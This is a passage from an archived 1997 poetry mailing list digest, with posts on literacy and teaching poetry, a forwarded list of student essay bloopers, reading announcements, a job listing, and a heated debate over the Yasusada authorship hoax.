The best of this kind of thing (in film) that I've heard yet! Some of the Italian film subtitles are interesting as well (like In Fellini's _Satyricon_ and elsewhere). There is a dramatic quality about them: along with the humor there is a liveliness or energy in them that is hard to match. The lines are short and impulsive/implosive, the language of farce. In some of these, I hear Charles Boer (one of Olson's students) in his translation of Ovid's Metamorphoses where the economy of language and oftentime absence of the pronoun lend to it absurdly.

beft,

William Burmeister

↑ Index

427. William Burmeister Prod
Re: Literacy
Wed 19 Nov 1997

On Nov 18, 7:34pm, David Zauhar wrote:
> Subject: Re: Literacy
> I would recommend Ross Talarico's _Spreading the Word: Poetry and the
> Survival of Community_ (Duke, 1995). Talarico is a poet who was employed
> for a decade or so by the city of Rochester (NY) as its artist in
> residence, and he gave workshops to seniors, disadvantaged kids, etc. One
> of his interesting points is that one way to bring people to reading
> (literacy) is through writing, esp poetry. And there's some pretty
> impressive poetry by some of the high school kids in there, much better
> than that by those kids represented by Adrienne Rich in her edition
> of the Best American poetry 1996.
>

And through readings. I just finished this morning reading poetry to a group of elementary school children (K through 5). Read to them from Roethke's _Praise to the End!_, _Words to the wind_, and _I am! Says the Lamb_. It was exciting to see how much poetry appeared to still have a place in their lives, and how their teachers gave poetry writing assignments.

William Burmeister

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428. David Benedetti
Re: Literacy
Wed 19 Nov 1997

On Tue, 18 Nov 1997, J. Tate wrote:

> *Many books/articles on literacy stress the socio-cultural empowerment literacy brings. But, little I can find addresses these sorts of questions: is aesthetic education useful to literacy? can aesthetic pleasure be a reason to teach someone to read?*
>
> *Any suggestions on readings that address how aesthetic concerns intersect with literacy issues?*
>
> *Thanks,*
>
> *Joseph Tate*

> *Graduate Student*
> *Department of English*
> *U. of Washington, Seattle*

Readings that address how aesthetic concerns intersect with literacy issues? Did I hear that as it was intended? Intersect? Interpenetrate?

I'm tempted to suggest that one look at "literature" to see aesthetic concerns intersecting with literacy.....

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429. **William Marsh**
bloopers
Wed 19 Nov 1997

---

mark and others interested:

i don't know if this is the only paper source, but you'll find this and other "bloopers" in *Anguished English: An Anthology of Accidential Assaults Upon Our Language* (interesting title in its own right) by Richard Lederer

some others gems:
"A virgin forest is a place where the hand of man has never set foot."
"Arabs wear turbines on their heads."
"A virtuoso is a musician with real high morals."
"A passive verb is when the subject is the sufferer, as in "I am loved."

bmarsh

At 04:34 PM 11/18/97 -0800, you wrote:
>This came to me over the web, ultimate source unknown. I pass it along as a
>possible source of poems for those so inclined.
>
>
>
>
>One of the fringe benefits of being an English or History teacher is
>receiving the occasional jewel of a student blooper in an essay. I have
>pasted together the following "history" of the world from certifiably
>genuine student bloopers collected by teachers throughout the United
>States, from eighth grade through college level. Read carefully, and you
>will learn alot.
>
>The inhabitants of Egypt were called mummies. They lived in the Sarah
>Dessert and traveled by Camelot. The climate of the sarah is such that

>the inhabitants have to live elsewhere, so certain areas of the dessert are
>cultivated by irritation. The Egyptians built the Pyramids in the shape of
>a huge triangular cube. The Pyramids are a range of mountains between
>France and Spain.
>
>The Bible is full of interesting caricatures. In the first book of the
>Bible, Guinesses, Adam and Eve were created from an apple tree. One of
>their children, Cain, asked "Am I my brother's son?" God asked Abraham to
>sacrifice Issac on Mount Montezuma. Jacob, son of Issac, stole his
>brother's birthmark. Jacob was a patriarch who brought up his twelve sons
>to be patriarchs, but they did not take to it. One of Jacob's sons, Joseph,
>gave refuse to the Israelites.
>
>Pharaoh forced the Hebrew slaves to make bread without straw. Moses led
>them to the Red Sea, where they made unleavened bread, which is bread
>made without any ingredients. Afterwards, Moses went up on Mount Cyanide
to
>get the ten commandments. David was a Hebrew king skilled at playing the
>liar. He
>faught with the Philatelists, a race of people who lived in Biblical times.
>Solomon, one of David's sons, had 500 wives and 500 porcupines.
>
>Without the Greeks, we wouldn't have history. The greeks invented 3
>kinds of columns---corinthian, Doric and ironic. They also had myths. A
>myth is a female moth.
>One myth says that the mother of Achilles dipped him in the River Stynx
>until he became intolerable. Achilles appears in "The Illiad", by Homer.
>Hoomer also wrote the "Oddity", in which Penelope was the last hardship
>that Ulysses endured on his journey. Actually, Homer was not written by
>Homer but by another man of that name.
>Socrates was a famous Greek teacher who went around giving people
>advice. They killed him. Socrates died from an overdose of wedlock.
>
>In the Olympic Games, Greeks ran races, jumped, hurled the biscuits, and
>threw the java. The reward to the victor was a coral wreath. The
>government of Athen was democratic because the people took the law into
>their own hands. There were no wars in Greece, as the mountains were so
>high that they couldn't climb over to see what their neighbours were doing.
>When they faught the Parisians, the greeks were outnumbered because the
>Parisians had more men.
>
>Eventually the Ramons conquered the Greeks. History called people Romans

>because they never stayed in one place very long. At Roman banquets, the
>guests wore garlic in their hair. Julius Caesar extinguished himself on the
>battlefields of Gaul. The Ides of March killed him because they thought
>he was going to be made king. Nero was a cruel tyrany who would torture his
>poor subjects by playing the fiddle to them.
>
>Then came the Middle Ages. King Alfred conquered the Dames, King Arthur
>lived in the Age of Shivery, King Harlod mustarded his troops before the
>battle of hastings, Joan of Arc was cannonized by George Bernard Shaw, and
>the victims of the Black Death grew boobs on their necks. Finally the Magna
>Carta
>provided that no free man should be hanged twice for the same offense.
>
>In Midevil times most of the people wee alliterate. The greatest writer
>of the time was Chaucer, who wrote many poems and verse and also wrote
>literature. Another tale tells of William Tell, who shot an arrow through
>an apple while standing on his son's head.
>
>The Renaissance was an age in which more individuals felt the value of
>their human being. Martin Luther was nailed to the church door at
>Wittenberg for selling papal indulgences. He died a horrible death, being
>excommunicated by a bull.
>It was the painter Donatello's interest in the female nude that made him
>the father of the Renaissance. It was an age of great inventions and
>discoveries. Gutenberg invented the Bible. Sir Walter Raleigh is a
>historical figure because he invented cigarettes.
>Another important invention was the circulation of blood. Sir Francis
>circumcised the world with a 100 foot clipper.
>
>The government of England was a limited mockery. Henry VIII found
>walking difficult because he had an abbess on his knee. Queen Elizabeth
>was the "Virgin Queen." As a queen she was a success. When Elizabeth
>exposed herself before her troops, they all shouted "hurrah." Then her navy
>went out and defeated the Spanish Armadillo.
>
>The greatest writer of the Renaissance was William Shakespear. Shakespear
>never made much money and is famous only because of his plays. he lived in
>Windsor with his merry wives, writing tragedies, comedies and errors. In
>one of
>Shakespear's famous plays, Hamlet rations out his situation by relieving
>himself in a long soliloquy. In another, lady Macbeth tries to convince
>Macbeth to kill the king by attacking his manhood. Romeo and Juliet are an

>example of a heroic couplet. Writing at the same time as Shakespear was
>Miquel Cervantes. He wrote "Donkey hote." The next great author was John
>Milton. Milton wrote "Paradise Lost." Then his wife dies and he wrote
>"Paradise regained."
>
>During the Renaissance America began. Christopher Columbus was a great
>navigator who discovered America while cursing about the Atlantic. His
>ships were called the Nina, the Pinta and the Santa Fe. Later the pilgrims
>crossed the ocean, and that was called the Pilgrim's Progress. When they
>landed at Plymouth Rock, they were greeted by indians, who came down the
>hill rolling their was hoops before them. The indian squabs carried
>porposies on their back. Many of the indian heroes were killed, along with
>their cabooses, which proved very fatal for them. The winter of 1620 was a
>hard one for the settlers. Many people died and many babies were born.
>Captain John Smith was responsible for all this.
>
>One of the causes of the revolutionary Wars was the English put tacks in
>their tea. Also, the colonists would send their parcels through the post
>without stamps. During the war, Red Coates and Paul Revere was throwing
>balls over stone walls. The dogs were barking and the peacocks crowing.
>Finally, the colonists won the War and no longer had to pay for taxis.
>
>Delegates from the original thirteen states formed the Contented Congress.
>Thomas Jefferson, a virgin, and Benjamin Franklin were two singers of the
>Declaration Of Independence. Franklin had gone to Bostin carrying all his
>clothes in his pocket and a loaf of bread under each arm. He invented
>electricity by rubbing cats backwards and declared "a horse divided against
>itself cannot stand." Franklin died in 1790 and is still dead.
>
>George Washington married Matha Curtis and in due time became the Father
>of our country. Then the Constitution of the United States was adopted
>to secure domestic hostility. Under the Constitution the people enjoyed the
>right to keep bare arms.
>
>Abraham Lincoln became America's greatest Precedent. Lincoln's mother
>died in infancy, and he was born in a log cabin which he built with his
>own hands. When Lincoln was president, he wore only a tall silk hat. he
>said "In onion there is strength." Abraham Lincoln wrote the Gettysberg
>Address while traveling from Washington to Gettysberg on the back of an
>envelope. He also signed the Emasculation Proclamation, and the Fourteenth
>Amendment gave the ex-Negroes citizenship. But the clue clux clan would
>torcher and lynch the ex-Negroes and other innocent victims. On the night

>of April 14, 1865, Lincoln went to the theater and got shot in his seat by
>one of the actors in a moving picture show. The believed assinator was John
>Wilkes Booth, a sopposedly insane actor. This ruined Booth's career.
>
>Meanwhile in Europe, the enlightenment was a reasonable time. Voltare
>invented electricity and also wrote a book called "Candy." Gravity was
>invented by Issac Walton. It is chiefly noticeable in the Autumn, when the
>apples are falling off the trees.
>
>Bach was the most famous composer in the world, and so was Handel. Handel
>was half German, half Italian, and half English. He was very large. Bach
>died from 1750 to the present. Beethoven wrote music even though he was
>deaf. He was so
>deaf he wrote loud music. He took long walks in the forest even when
>everyone was calling for him. Beethoven expired in 1827 and later died for
>this.
>
>France was in a very serious state. The French Revolution was accomplished
>before it happened. The Marseillaise was the theme song of the French
>Revolution, and it catapulted into Napoleon. During the Napoleonic Wars,
>the crowned heads of Europe were trembling in their shoes. Then the Spanish
>gorrilas came down from the hills and nipped at Napoleon's flanks. Napoleon
>became ill with bladder problems and was very tense and unrestrained. he
>wanted an heir to inherit his power, but since Josephine was a baroness,
>she couldn't bear him any children.
>
>The sun never set on the British Empire because the british Empire is in
>the east and the sun sets in the West. Queen Victoria was the longest
>queen. She sat on a thorn for 63 years. Her reclining years and finally the
>end of her life were exemplatory of a great personality. Her death was the
>final event which ended her reign.
>
>The ninteenth century was a time of many great inventions and thoughts.
>The invention of the steam boat caused a network of rivers to spring up.
>Cyrus McCormick invented the McCormic raper, which did the work of 100
men.
>Samuel Morse invented a code for telepathy. Louis Pastuer discovered a cure
>for
>rabbis. Charles Darwin was a naturailist who wrote the "Organ of the
>Species." Madman Curie discovered radium. And Karl Marx became one of the
>Marx Brothers.
>

>The First World war, caused by the assignation of Arch-Duck by a surf,
>ushered in a new error in the anals of human history.
>
>

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430. **p. durgin**
Re: democracy
Wed 19 Nov 1997

"defferred action" sounds like a what-good-is-a-writer telling us that "things is not perfect" as I imagine they could be.

|||[redacted]|||
_____

↑ Index

431. **Michael Magee**
Re: democracy
Wed 19 Nov 1997

Far from it. I am a writer so I could harly be a what-good-is-a-writer. In Burke's sense, "deferred action" is the dialectical counterpart to "things is not perfect," hence its utopian character - it shows symbolically what could be and sets itself in dialogue with what is (or isn't). Though, do you really think things could be *perfect*? I think we'd all have to be dead for that. -m.

According to p. durgin: >
> "defferred action" sounds like a what-good-is-a-writer telling us
> that "things is not perfect" as I imagine they could be.
>
>
> |||[redacted]|||
> _____
>

↑ Index

432. **Steve Evans**
Jarnot & Moxley at MIT
Wed 19 Nov 1997

Lisa Jarnot and Jennifer Moxley are reading tomorrow night in the [redacted] series curated by Bill Corbett. Event kicks off at 7:30pm in Bartos Theatre, 20 Ames Street in Cambridge, Massachussetts. Profiles of the poets and more

information about the series can be seen at
http://web.mit.edu/humanistic/www/poetseri.htm, or call [redacted] or
[redacted]

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433. James Finnegan
Re: Dugan/out of print books
Wed 19 Nov 1997

In a message dated 97-11-14 20:51:24 EST, you write:

> *After a varied string of posts on another list, I heard that Alan Dugan's poems are now all completely out of print. I assume this is true since a friend of mine who knows him told me so, but I am wondering where I might get copies of Poems 1, 2, and 4. Any help would be greatly appreciated.*

Two places I know of that deal in OP poetry books:

VERSEtility Books, Bob Jacobs,
Box 1366 Burlington CT 06013
[redacted]

Whitehead Rare Books, Jett Whitehead,
1412 Center Ave. Bay City MI 48708
[redacted]

They both catalog mostly first edition, & often signed, copies. so the books, if they've got em, will come at a dear price.

Finnegan

↑ Index

434. p. durgin
Re: democracy
Wed 19 Nov 1997

No No No -- Not what I was saying at all. I'm just skeptical of a dialectical process whose extremes are absolutes, ie. "perfect" -- Although I'm not as familiar with Burke's system as perhaps I should be, the dynamic vaguely resembles typical, western, macho blunders through the ages.

|||[redacted]|||

On Wed, 19 Nov 1997, Michael Magee wrote:

> *Far from it. I am a writer so I could harly be a what-good-is-a-writer. In Burke's sense, "deferred action" is the dialectical counterpart to "things is not perfect," hence its utopian character - it shows symbolically what could be and sets itself in dialogue with what is (or isn't). Though, do you really think things could be *perfect*? I think we'd all have to be dead for that. -m.*
>
> *According to p. durgin: >*
> *"defferred action" sounds like a what-good-is-a-writer telling us that "things is not perfect" as I imagine they could be.*
>
> |||[redacted]|||
>
> _____

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435. UB Poetics Program

Job Listing for SUNY-Buffalo

Wed 19 Nov 1997

The English Department of SUNY-Buffalo asked that we post this job announcement. Please pass on to anyone you think might be interested.

Specialist in African-American literature, rank open, pending final budgetary approval.

Professor, Associate Professor, or Assistant Professor

We are looking for a candidate with strong theoretical interests to work in the graduate and undergraduate programs. Our poetics program, our diverse studies in American literature, our close relation to other centers at the university doing cultural studies, offer several locations where one could situate his/her work. Novelists- and poet-critics are encouraged to apply. Critical work is as significant as poetry/fiction. Please apply to Chair, African-Americanist Search Committee, Department of English, 306 Clemens Hall, SUNY-Buffalo, Buffalo, NY 14260. Applicants for a junior position should include a 30 or so page writing sample along with a letter, CV, and recommendations. SUNY Buffalo is an AA/EO employer.

↑ Index

436. Laura Moriarty
Grim, Harrison and Lookingbill
Wed 19 Nov 1997

New non!

Jessica Grim, Bob Harrison and Colleen Lookingbill -

Soon bio and links page -

Attention all non contributors!!!

If you have not sent a short bio for non, please send one. Include also links with which you would like to be associated -

Laura Moriarty

↑ Index

437. KENT JOHNSON
Yasusada in Texas
Wed 19 Nov 1997

I've been lurking every so often in the archives this semester and lurked yesterday to find Jordan Davis's post, "Yasusada, Watten, social texas." In it, he says that "Kent Johnson seems to have taken a vacation from the Yasusada updates."

Well, you can hardly expect me to not respond to that! Hi Jordan. And by the way, you still owe me $20 from last summer.

But anyway, I'd like to second Jordan's remarks about the Financial Times article ("Mind Food: On the Art of Writing Wrongs"--on the FT web site) because it's pretty interesting, but to say also that its views about heteronymous authorship are pretty restricted. Check out, for example, the views of the Granta editor, or the concluding analogy, if that's the word, of the article's writer, Christian Tyler: that literature should always carry a "warning" or "origin of production" label (however small, he qualifies), like the food you buy in a supermarket! (And I don't think he's being tongue in cheek.) Also of related interest just out in UK is a section devoted to Yasusada discussion in the new issue of Poetry Review, including letters from Stand editor Jon Silkin, an inteview with me by Peter Forbes (PR editor) and an exchange of letters between myself and Akitoshi Nagahata (part of a by now larger correspondence about issues relating to Yasusada that we intend to publish somewhere--Mikhail Epstein and Eliot Weinberger also enter this debate). Akitoshi Nagahata is on this list, and his criticisms of Yasusada are far and away the most thoughtful and thought-provoking I have encountered so far.

But the main update I'm back from vacation to post is that _Doubled Flowering: From the Notebooks of Araki Yasusada_, is just out from Roof Books, quite beautiful in production and available for $14.95. I believe James Sherry will be putting a more complete notice on the list shortly. The book is 170 pages, including a 45 page "critical appendix."

I know many of you have been assuming that the book is by me. Well, here it is. "Who it's by," if that's important, is present there. But you can read it, too, without playing detective. Hope you'll give it a look!

Kent

↑ Index

438. **David Zauhar**

Re: Literacy

Wed 19 Nov 1997

On Wed, 19 Nov 1997, William Burmeister Prod wrote:
> And through readings. I just finished this morning reading poetry to a group of
> elementary school children (K through 5). Read to them from Roethke's _Praise
> to the End!_, _Words to the wind_, and _I am! Says the Lamb_. It was exciting
> to see how much poetry appeared to still have a place in their lives, and how
> their teachers gave poetry writing assignments.
>
> William Burmeister
>
Yes! Along these lines, a lot of those Kenneth Koch and Ron Padgett books from the Teachers and Writers Collaborative (did I get the name right?) might be helpful. They're not theoretical enough to please many graduate school types (of which I'm one), but they do make points about the place of the aesthetic in education.

This summer I taught some 6-8 graders. Their favorite: Wallace Stevens' "13 Ways of Looking at a Blackbird." At least in terms of generating imitations and parodies.

Dave Zauhar

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439. Aldon Nielsen
Los Angeles reading
Wed 19 Nov 1997

Harryette Mullen and giovanni singleton read Monday evening, November 24, at 7:30 PM at Loyola Marymount University. The reading will be in the McIntosh Center of Sullivan Hall.

For those of you flying in for the reading, Loyola Marymount is conveniently located near the Los Angeles airport. For those of you driving to the reading from the local area -- take Manchester towards the ocean. Before driving into the ocean, turn onto Loyola Boulevard. This street will take you directly into the campus. Before turning into the large visitors' parking lot at the entrance, stop and ask the helpful staff in the security booth to show you where Sullivan Hall is located.

If you have any other questions, call me at my office: [redacted]

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440. Dean A. Brink
Re: Yasusada in Texas
Wed 19 Nov 1997

Sounds like Kent Johnson would like all of us to read the Yasusada book even if it isn't by Yasusada. Splendid attitude.

Now the question is Why not use your own name?
Again, the specter of Orientalism underlies your self-deploying fanfare.

Your lackadaisical nonchalance regarding the falsification of A-Bomb survivor literature is tantamount to forging Jewish Holocaust literature just to make a buck at Borders (a similar point was made to me by John Treat recently).

dean brink
EALC UChicago
[redacted]
interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

441. David Zauhar
Re: Yasusada in Texas
Wed 19 Nov 1997

On Wed, 19 Nov 1997, Dean A. Brink wrote:

> *Sounds like Kent Johnson would like all of us to read the Yasusada book even if it isn't by Yasusada. Splendid attitude.*
>
> *Now the question is Why not use your own name?*
> *Again, the specter of Orientalism underlies your self-deploying fanfare.*
>
> *Your lackadaisical nonchalance regarding the falsification of A-Bomb survivor literature is tantamount to forging Jewish Holocaust literature just to make a buck at Borders (a similar point was made to me by John Treat recently).*

Thanks for another self-congratulating condemnation of yet another book you haven't bothered to read.

David Zauhar

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442. Dean A. Brink
Re: Yasusada in Texas
Wed 19 Nov 1997

I would like to discuss this issue further, but you must refrain from personal

attacks (how am I "self-congratulating"?) and speak to the contents of my insinuations (in this long-established discourse). The issue is the forging of the book not the quality -- which, as has been established from the pieces in print, is less than satisfactory: predictable attempts at entrepreneurial Orientalism, riddled with affective clichés and revealing a shallow understanding of Japanese life (to be expected of an American ignorant of Japan); devaluation of the lives of actual Japanese who experience the effects of the A-bombs still today.

A couple years ago in Japan a major magazine ran an article on the fact that the Jewish Holocaust never happened. Should this be ignored too? (The magazine folded soon after, to take responsibility for the outrage.)

Last week a judicial nominee withdrew his name after admitting to have falsified stories of tragic racial violence against a member of his family in the 1940s or 50s. He took responsibility for using historical tragedy for personal gains.

Similarly I think informed readers should know what they're buying and boycott the Johnson book if they don't want to contribute to the distortion and consecration of historical tragedies (note that racism figures in all these example of the Jewish Holocaust, the decision to drop the A-bomb twice on Japan, and the murder of African Americans in the pre-civil rights US).

I can't imagine anyone seriously reading the Yasusada book except as a case study in an ethics course, or a literary theory class discussing the limits of post-modernism (I hope no one actually does this, wouldn't want to fuel his projects).

db

David Zauhar wrote:

> *On Wed, 19 Nov 1997, Dean A. Brink wrote:*
>
> *Sounds like Kent Johnson would like all of us to read the Yasusada book even if it isn't by Yasusada. Splendid attitude.*
>
> *Now the question is Why not use your own name?*
> *Again, the specter of Orientalism underlies your self-deploying fanfare.*
>
> *Your lackadaisical nonchalance regarding the falsification of A-Bomb survivor literature is tantamount to forging Jewish Holocaust literature just to make a buck at Borders (a similar point was made to me by John Treat recently).*
>
> *Thanks for another self-congratulating condemnation of yet another book you haven't bothered to read.*
>
> *David Zauhar*

↑ Index

443. George Bowering
(no subject)
Thu 20 Nov 1997

> *One of the fringe benefits of being an English or History teacher is receiving the occasional jewel of a student blooper in an essay. I have pasted together the following "history" of the world from certifiably genuine student bloopers collected by teachers throughout the United States, from eighth grade through college level. Read carefully, and you will learn alot.*

That "alot" was on purpose, wasn't it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

444. david bromige
lingo
Thu 20 Nov 1997

George, alot of people are disinterested in that oldcodgerese you and me were learned to write. I imply alot from yr brief missile, but alot more dubitably dont. Give up your licked. Get those antlers off of yr egghead & get yr ass down here to the poker game, prof! We miss you alot, as I hoped I have supplely inferred . Dave.

↑ Index

445. Jerry E. Fletcher
(no subject)
Thu 20 Nov 1997

George Bowering wrote:
>
> >
>
> >States, from eighth grade through college level. Read carefully, and you
> >will learn alot.
>
> That "alot" was on purpose, wasn't it?
>
> George Bowering.
> ,I really think what was meant is that one will lean a lot...have to in
order to hold oneself to keep from going into hysterics...either because
its so damn funny or depressing.

On the other hand, my 11 year old won 2nd place in his school for his two page essay on What is a Hero...surprisingly well written, correct grammer, great content, complete sentences...a beginning, middle, and end. The litt bugger knew to say real heroes are the ordinary folk that make this life go, and contribute...not the Jordans, et.al in sports.

Makes this dad proud...especially after seeing the language art papers my wife grades when she suffers through teaching one of those classes...her first field is art, but is a damn good English teacher.

Jerry Fletcher.

↑ Index

446. Jerry E. Fletcher
Re: lingo
Thu 20 Nov 1997

david bromige wrote:
>
> George, alot of people are disinterested in that oldcodgerese you and me
> were learned to write. I imply alot from yr brief missile, but alot more
> dubitably dont. Give up your licked. Get those antlers off of yr egghead &
> get yr ass down here to the poker game, prof! We miss you alot, as I hoped
> I have supplely inferred . Dave.

Hmmm,

I lik it..bck ta reel anglish, fore the damn Normies, damn f------ frency frogs, scrwd wid da langige.

Jerry.

↑ Index

447. henry gould
Re: democracy
Thu 20 Nov 1997

Perfection, utopia. Responding to M. Magee's posts, Herbert Schneidau in SACRED DISCONTENT (often quoting Jameson) talks about the utopian impulse as part of a general ambivalence toward culture per se which has its roots in Hebraic-Biblical nomad tradition, fiercely antithetical to the established Egyptian or Near Eastern empires surrounding it, and eventually turning the criticism (in a truly unprecedented way) on itself. This character of self-alienation can terminate in nihilism, or overthrow for the sake of overthrow, but Schneidau characterizes the western impulse as truly ambivalent - a love-hate relation with culture which is perhaps the key factor in culture's long-term survival.

What if utopia is truly an inward reality, yet based on the character of a person's relations with family, friend, enemy, neighbor? What if "the kingdom of heaven is within you"? Then the demand for an "outer" utopia tends to extremism. Perhaps to be zealous for those siblings, democracy and law, is enough. To struggle for a truly international law based on human equality might be the real flower of an inward utopia - an inward utopia based on the recognition of terrible IMperfection. Not self-righteousness. The hardest law to live up to is to love your neighbor as yourself. & that's the basis of all the rest. This will be judged to be the complacent pablum of a middle-class mid-lifer. Tell a poor person about the inward utopia, they will say. But you'd be surprised what a

number of poor persons would say in reply. It's all just talk until it conquers the world. - Oldest Living Minnesotan

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448. KENT JOHNSON
Re: Yasusada in Texas
Thu 20 Nov 1997

Dean:

Strong feelings, to be sure. But just to clarify, in case you weren't aware: the AY work has been known to be a fiction for a year and a half now.

My own strong feeling is that the Yasusada writings spark issues that are a good deal less settled and more ambiguous than your formulations below would allow. There is a long interview in the book, actually, that attempts--if tentatively--to bring some of these difficult questions forward.

I suppose I could only ask you to first read the book. It's at least possible, I think, that you might soften your judgement after considering the whole work.

Would you (or anyone else on list) happen to have John Treat's e-mail? I admire _Writing Ground Zero_ a great deal, and would like to exchange some ideas with him.

Kent

On Nov. 19, Dean Brink wrote:
> Sounds like Kent Johnson would like all of us to read the Yasusada
> book even if it isn't by Yasusada. Splendid attitude.
>
> Now the question is Why not use your own name?
> Again, the specter of Orientalism underlies your self-deploying fanfare.
>
> Your lackadaisical nonchalance regarding the falsification of A-Bomb
> survivor literature is tantamount to forging Jewish Holocaust literature
> just to make a buck at Borders (a similar point was made to me by John
> Treat recently).
>
>
>
>
> dean brink
> EALC UChicago
> [redacted]
> interpoetics - poetry of Asia and the Pacific Rim

> www.w-link.net/~dean/interpoetics/index.html
>

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449. **Maria Damon**
Re: Yasusada in Texas
Thu 20 Nov 1997

At 9:18 PM -0600 11/19/97, David Zauhar wrote:
>On Wed, 19 Nov 1997, Dean A. Brink wrote:
>
>> Sounds like Kent Johnson would like all of us to read the Yasusada
>> book even if it isn't by Yasusada. Splendid attitude.
>>
>> Now the question is Why not use your own name?
>> Again, the specter of Orientalism underlies your self-deploying fanfare.
>>
>> Your lackadaisical nonchalance regarding the falsification of A-Bomb
>> survivor literature is tantamount to forging Jewish Holocaust literature
>> just to make a buck at Borders (a similar point was made to me by John
>> Treat recently).
>
>Thanks for another self-congratulating condemnation of yet another book
>you haven't bothered to read.
>
>David Zauhar

i don't necessarily think this is the point. "the book itself" --whatever that may be --is not the only thing worth discussing in cases like this.--md

↑ Index

450. **Rachel Loden**
alot(ta) lingo
Thu 20 Nov 1997

David Bromige wrote:

> *George, alot of people are disinterested in that oldcodgerese you and me were learned to write. I imply alot from yr brief missile, but alot more dubitably dont. Give up your licked. Get those antlers off of yr egghead & get yr ass down here to the poker game, prof! . . .*

Last night dreamt George Bowering lumbering down from Canada, terrifying apparition with the head and torso of a black bear, hindquarters of an Arctic

fox, grey squirrel's tail, giant eagle's wings and a rack of deer antlers on his head. What can it mean?

There were no answers at

http://www.anto.com/salzxmas.html

"The Christmas season brings not only St. Nikolaus, the bearer of gifts, but also Krampus, his darker side, who appears to mete out punishments for misdeeds of the past year. Large, foreboding, black-clad and antlers on his head, Krampus roams the streets on an evening around December 8. He thwacks passersby with a switch, which causes recipients of his swats to be grateful that their warm loden coats are a little like protective armor."

Uh oh,

Rachel

↑ Index

451. **David Zauhar**
Re: Yasusada in Texas
Thu 20 Nov 1997

On Wed, 19 Nov 1997, Dean A. Brink wrote:

> *I would like to discuss this issue further, but you must refrain from personal*
>
> *attacks (how am I "self-congratulating"?) and speak to the contents of my insinuations (in this long-established discourse).*
> *The issue is the forging of the book not the quality -- which, as has been established from the pieces in print, is less than satisfactory: predictable attempts at entrepreneurial Orientalism, riddled with affective clichés and revealing a shallow understanding of Japanese life (to be expected of an American ignorant of Japan); devaluation of the lives of actual Japanese who experience the effects of the A-bombs still today.*

I think that the actual real A-bomb devalued the lives of its victims a hell of a lot more than any poem ever could.

> *A couple years ago in Japan a major magazine ran an article on the fact that the Jewish Holocaust never happened. Should this be ignored too? (The magazine folded soon after, to take responsibility for the outrage.)*

Does Kent Johnson, or anyone else, deny that A-bombs were dropped on Nagasaki and Hiroshima?

> *Last week a judicial nominee withdrew his name after admitting to have falsified stories of tragic racial violence against a member of his family in the 1940s or 50s. He took responsibility for using historical tragedy for personal gains.*

Thanks for the update, but I read the papers and listen to NPR, too.

> *Similarly I think informed readers should know what they're buying and boycott the Johnson book if they don't want to contribute to the distortion and consecration of historical tragedies (note that racism figures in all these example of the Jewish Holocaust, the decision to drop the A-bomb twice on Japan, and the murder of African Americans in the pre-civil rights US).*

You've been living in the world of discourse for too long. No one denies that these events are catastrophic and evil. What I object too, and called "self-congratulatory," was the assumption that you are the lone crusader, on this list, for justice. And I object to criticizing books you haven't read. Even if you know they're evil. Some time back when I worked as a free lance journalist I wrote about the Turner Diaries, assuming before I read it that it would be vile and disgusting based on what I'd heard. But before I wrote about it, for the now defunct Minneapolis _City Pages_, I read the book. Guess what? I read it, wrote more intelligently about it than I would have otherwise, and still to this day have not lynched a single person of color or feminist. I also object to the assumption that it is impossible for someone to write in a persona, to IMAGINE what it might be like to be a survivor of the Atomic bomb. In the Yasusada poems I've read, it seems like the poet does an adequate job. I could be wrong. You could even demonstrate to me that I've read badly, that I'm wrong, but not if you haven't read the poems yourself.

> *I can't imagine anyone seriously reading the Yasusada book except as a case study in an ethics course, or a literary theory class discussing the limits of postmodernism (I hope no one actually does this, wouldn't want to fuel his projects).*

Who was your critical mentor, the Ayatollah Khomeini? For he too knew all about certain books without having to read them. The discourse of Orientalism is problem, and when it distorts the lives and experiences of other people, it should be criticized.If the Johnson book actually does that, go after it. But you don't really know if it does or not. Is this what you are learning in graduate school, how to make authorative pronouncements about books you haven't read? I don't think that's what your teachers really want.

David Zauhar

↑ Index

452. **KENT JOHNSON**

Re: discontented graduate students send for catalogues

Thu 20 Nov 1997

A spur of the moment and awkward attempt at light-heartedness on my part, and I apologize to Jordan. I guess I was assuming everyone would know that Jordan and I didn't know each other!

As far as the mention of American poetry in major newspapers, the Asahi Shimbun, Japan's major newspaper, carried a front page story about the Yasusada discussion in August (this was reprinted in a number of newspapers in Japan, including in Hiroshima), and this was followed up by an article by Akitoshi Nagahata a couple weeks later in the Asahi. I mention this not because I think publicity is "good for its own sake" (for what it's worth, I don't), but because I think it is significant that a serious consideration of Yasusada's aesthetic and ethical implications is emerging in Japan, and it will be very interesting to see the positions taken and how they compare to the strong and very different evaluations here.

Kent

On Nov. 20, Jordan Davis wrote:
> Let the record show I have not met "Kent Johnson" and have no debt to him.
> I mentioned the article simply because it was as close to a mention in a
> major newspaper as recent American poetry has gotten in a good while
> (forgive me, Bob Holman). If Andy Warhol was right and publicity is a good
> in itself, then good for "Kent".
>
> While I can't offer the intense discounts Yasusada-publisher James Sherry
> used to dangle before this list, I can send Teachers & Writers' fall
> catalogue out to anyone here who e-mails their mailing address to me. We
> have several non-theoretical graduate-student-irritating titles by Kenneth
> Koch, and a few point-making books edited by Ron Padgett (including
> _Handbook of Poetic Forms_ -- ask Mark Baker! -- and _T&W Guide to Walt
> Whitman_). Oh all right, here's a discount -- e-mail me today and I'll
> send you Ron Padgett's _Creative Reading_ for $20 ppd, a 20% savings off
> the usual deal (US & Canada US$20, elsewhere US$25).
>
> Signed,
> "Jordan"
>
> On Wed, 19 Nov 1997, David Zauhar wrote:
>
> > On Wed, 19 Nov 1997, William Burmeister Prod wrote:

> > > And through readings. I just finished this morning reading poetry to a group of
> > > elementary school children (K through 5). Read to them from Roethke's _Praise
> > > to the End!_, _Words to the wind_, and _I am! Says the Lamb_. It was exciting
> > > to see how much poetry appeared to still have a place in their lives, and how
> > > their teachers gave poetry writing assignments.
> > >
> > > William Burmeister
> > >
> > Yes! Along these lines, a lot of those Kenneth Koch and Ron Padgett books
> > from the Teachers and Writers Collaborative (did I get the name right?)
> > might be helpful. They're not theoretical enough to please many graduate
> > school types (of which I'm one), but they do make points about the place
> > of the aesthetic in education.
> >
> > This summer I taught some 6-8 graders. Their favorite: Wallace Stevens'
> > "13 Ways of Looking at a Blackbird." At least in terms of generating
> > imitations and parodies.
> >
> > Dave Zauhar
> >
>

↑ Index

453. Eric Blarnes
religion
